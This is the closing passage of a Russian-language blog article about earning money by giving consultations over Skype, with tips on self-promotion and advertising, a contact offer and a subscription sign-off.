Как видите, заработок в Skype возможен. Нужно только немножко к нему подготовиться.

В итоге хочу ещё сказать несколько слов о консультациях…

Будьте готовы к тому, что сначала клиентов будет мизер. Рекламируйте себя! Неважно где! Подходит даже контекстная реклама. И не жалейте денег на пиар. Очень часто, пользователи пишут, что потрачусь на рекламу, а клиентов не будет и тому подобное. Не повторяйте чужих ошибок, и всё у вас получится.

Если возникнут вопросы насчет консультаций или не работает программа. Будем рады вам помочь! Просто напишите нам через раздел «Контакты» или оставьте сообщение в комментариях (внизу этой статьи).

На этом у меня все. Спасибо, что читаете нас. Если понравилась статья, . Никакого спама! Не упустите новые и интересные статьи о заработке в сети и SEO продвижении.

Спасибо за внимание!

С уважением, . До встречи! Пока-пока!

Похожие статьи